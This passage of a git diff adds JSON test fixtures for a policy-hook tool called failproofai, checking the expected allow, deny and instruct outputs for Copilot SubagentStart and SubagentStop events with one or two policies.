"/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..574037dd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6dd34058 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..93d31e1e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..670d199d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8273f122 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..88624322 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5e64e371 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..03812f9f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..10763a27 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..43b2e923 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3136ed59 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5774a475 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a6838a2c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ffb505db --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9cb35770 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..efd0b2a7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b747a7de --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3a99fd80 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8ffee7c2 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": 